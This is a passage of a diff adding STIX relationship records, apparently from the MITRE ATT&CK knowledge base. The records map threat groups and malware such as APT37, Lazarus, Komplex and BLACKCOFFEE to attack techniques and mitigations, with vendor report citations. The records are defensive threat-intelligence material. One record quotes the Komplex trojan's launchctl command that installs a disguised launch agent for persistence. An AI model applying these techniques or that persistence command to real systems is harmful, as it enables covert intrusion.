Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--126bfb52-654a-4056-be93-37a06f8d6a32", + "source_ref": "course-of-action--54246e2e-683f-4bf2-be4c-d7d5a60e7d22", + "modified": "2019-07-24T19:46:42.107Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "tool--ed7d0cb1-87a6-43b4-9f46-ef1bc56d6c68", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--bd5b6f31-2248-4af8-8e8e-e3273aaa57e4", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "modified": "2019-07-25T14:25:53.425Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", + "source_name": "Mandiant No Easy Breach", + "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[APT37](https://attack.mitre.org/groups/G0067) sends images to users that are embedded with shellcode. The group also obfuscates strings and payloads, including through the use of steganography.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--9d88636c-32f1-4ea4-b7d9-948e48055d37", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "modified": "2019-09-09T19:12:32.654Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Group123", + "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" + }, + { + "description": "GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019.", + "source_name": "Securelist ScarCruft May 2019", + "url": "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--e46dc495-5581-471c-84b5-b0dd825471f9", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "modified": "2019-07-26T23:38:34.200Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PTSecurity Cobalt Group Aug 2017", + "description": "Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.", + "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf" + }, + { + "source_name": "Group IB Cobalt Aug 2017", + "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.", + "url": "https://www.group-ib.com/blog/cobalt" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec", + "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) steals user files from removable media with file extensions and keywords that match a predefined list.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--ff61ebde-befe-488a-89d0-dc4c49e60d59", + "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.", + "source_name": "F-Secure Cosmicduke", + "url": "https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--1c04a87c-6a12-4aaa-8ead-30cd22d7850d", + "source_ref": "course-of-action--ad7f983d-d5a8-4fce-a38c-b68eda61bf4e", + "modified": "2019-10-18T15:19:13.411Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.017Z", + "id": "relationship--1b4cd403-8e3a-43da-bc25-a7e8d707794b", + "source_ref": "course-of-action--7ee0879d-ce4f-4f54-a96b-c532dfb98ffd", + "modified": "2019-10-04T22:05:50.658Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) backdoor RoyalDNS established persistence through adding a service called Nwsapagent.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--7b8c29ce-dda2-4608-a28f-40aca495048f", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "modified": "2019-04-22T15:08:48.435Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--e64beefe-c3f8-473c-a527-7c85c43f3d93", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "modified": "2019-03-25T12:58:44.320Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[Bisonal](https://attack.mitre.org/software/S0268)'s dropper creates VBS scripts on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--4806e7c3-c8df-477f-ac3b-819248878a79", + "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.", + "source_name": "Unit 42 Bisonal July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) actors look for and use VPN profiles during an operation to access the network using external VPN services.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.062Z", + "id": "relationship--ab6a19e4-ce00-46cd-ae83-0798471e4a4a", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:55.030Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[GeminiDuke](https://attack.mitre.org/software/S0049) collects information on running processes and environment variables from the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--3363ae54-1fe3-4c9f-b074-79dc0d7fbba5", + "source_ref": "malware--199463de-d9be-46d6-bb41-07234c1dd5a6", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "source_name": "F-Secure The Dukes", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) queried the Registry to identify victim information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--35e47be3-2a31-401f-ad65-a2fa34f861f1", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "modified": "2019-03-22T20:13:49.510Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--3e13612d-7459-4bec-ad74-9399d1f5ab96", + "source_ref": "course-of-action--28c0f30c-32c3-4c6c-a474-74820e55854f", + "modified": "2019-07-25T11:44:39.557Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) executes commands using a command-line interface and reverse shell. The group has used a modified version of pentesting script wmiexec.vbs to execute commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--dea36846-b8ad-4926-a242-9fa2d12069c8", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "modified": "2019-09-03T18:50:16.535Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PWC Cloud Hopper April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf" + }, + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + }, + { + "description": "Twi1ight. (2015, July 11). AD-Pentest-Script - wmiexec.vbs. Retrieved June 29, 2017.", + "source_name": "Github AD-Pentest-Script", + "url": "https://github.com/Twi1ight/AD-Pentest-Script/blob/master/wmiexec.vbs" + }, + { + "source_name": "FireEye APT10 Sept 2018", + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4bf5845d-a814-4490-bc5c-ccdee6043025", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--0c2ba74b-a5b0-493c-84f3-41b6131070a0", + "source_ref": "course-of-action--95c29444-49f9-49f7-8b20-bcd68d8fcaa6", + "modified": "2019-07-24T14:31:05.887Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used PowerShell for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--71ae6f80-3d5c-4d61-8995-5844f9f592ed", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "modified": "2019-04-25T12:24:57.297Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + }, + { + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "source_name": "FireEye Periscope March 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware uses multiple types of encryption and encoding in its malware files, including AES, Caracachs, RC4, basic XOR with constant 0xA7, and other techniques.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.065Z", + "id": "relationship--3afd226c-934f-44fd-8194-9a6dee5cba59", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:44.949Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Loaders", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster RATs", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf" + }, + { + "source_name": "McAfee Lazarus Resurfaces Feb 2018", + "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dd901512-6e37-4155-943b-453e3777b125", + "description": "The [Komplex](https://attack.mitre.org/software/S0162) trojan creates a persistent launch agent called with $HOME/Library/LaunchAgents/com.apple.updates.plist with launchctl load -w ~/Library/LaunchAgents/com.apple.updates.plist.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--6c879d75-7f07-44ff-9801-815a549cdc44", + "source_ref": "malware--f108215f-3487-489d-be8b-80e346d32518", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", + "source_name": "Sofacy Komplex Trojan", + "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[BLACKCOFFEE](https://attack.mitre.org/software/S0069) has the capability to create a reverse shell.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--41747c46-1dd1-418b-84e9-75710f17a10c", + "source_ref": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.", + "source_name": "FireEye APT17", + "url": "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[CopyKittens](https://attack.mitre.org/groups/G0052) has used PowerShell Empire.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--2f68f61d-07e1-4181-a26c-93433f9f0db7", + "source_ref": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a", + "modified": "2019-05-03T16:42:19.202Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ClearSky Wilted Tulip July 2017", + "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used valid, compromised email accounts for defense evasion, including to send malicious emails to other victim organizations.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--d0c9e994-ddaf-4fb3-b57b-12bb05c552e6", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "modified": "2019-04-25T12:24:57.292Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--140b4bbc-68c6-474a-adae-9b2275471f13", + "source_ref": "course-of-action--8ca6a5e0-aae5-49bc-8d07-f888c7dba9ea", + "modified": "2019-10-08T21:10:31.793Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.025Z", + "id": "relationship--b0d10c67-94bf-4bb3-8122-6f4d9e8106c1", + "source_ref": "course-of-action--160af6af-e733-4b6a-a04a-71c620ac0930", + "modified": "2019-07-25T12:27:40.839Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[Daserf](https://attack.mitre.org/software/S0187) can take screenshots.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--6db82410-1fcf-483a-be5b-cf09c361b4eb", + "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.", + "source_name": "Trend Micro Daserf Nov 2017", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/" + }, + { + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b39d03cb-7b98-41c4-a878-c40c1a913dc0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--3adf2672-d3d5-47aa-8eea-f223f6227677", + "source_ref": "course-of-action--a3e12b04-8598-4909-8855-2c97c1e7d549", + "modified": "2019-07-24T19:44:28.536Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) regained access after eviction via the corporate VPN solution with a stolen VPN certificate, which they had extracted from a compromised host.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--60069193-4573-420f-9b2e-e9a42b95af12", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "modified": "2019-04-22T15:08:48.428Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[DownPaper](https://attack.mitre.org/software/S0186) communicates to its C2 server over HTTP.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--d7bb00a0-fbe6-4622-84ed-be32ff5d8561", + "source_ref": "malware--e48df773-7c95-4a4c-ba70-ea3d15900148", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.", + "source_name": "ClearSky Charming Kitten Dec 2017", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[Gazer](https://attack.mitre.org/software/S0168) performs thread execution hijacking to inject its orchestrator into a running thread from a remote process. [Gazer](https://attack.mitre.org/software/S0168) performs a separate injection of its communication module into an Internet accessible process through which it performs C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--86ebda8c-df0c-4d76-970b-27bf392606a7", + "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", + "source_name": "ESET Gazer Aug 2017", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" + }, + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.", + "source_name": "Securelist WhiteBear Aug 2017", + "url": "https://securelist.com/introducing-whitebear/81638/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--02fefddc-fb1b-423f-a76b-7552dd211d4d", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has deployed a bootkit along with [Downdelph](https://attack.mitre.org/software/S0134) to ensure its persistence on the victim. The bootkit shares code with some variants of [BlackEnergy](https://attack.mitre.org/software/S0089).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.039Z", + "id": "relationship--9e90e4a5-844c-4516-9044-6f35bbf27806", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:35.005Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Sednit Part 3", + "description": "ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) has used [Systeminfo](https://attack.mitre.org/software/S0096) to gather the OS version, as well as information on the system configuration, BIOS, the motherboard, and the processor.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--efa98949-4b58-4407-8fa2-366c06dc2ed9", + "source_ref": 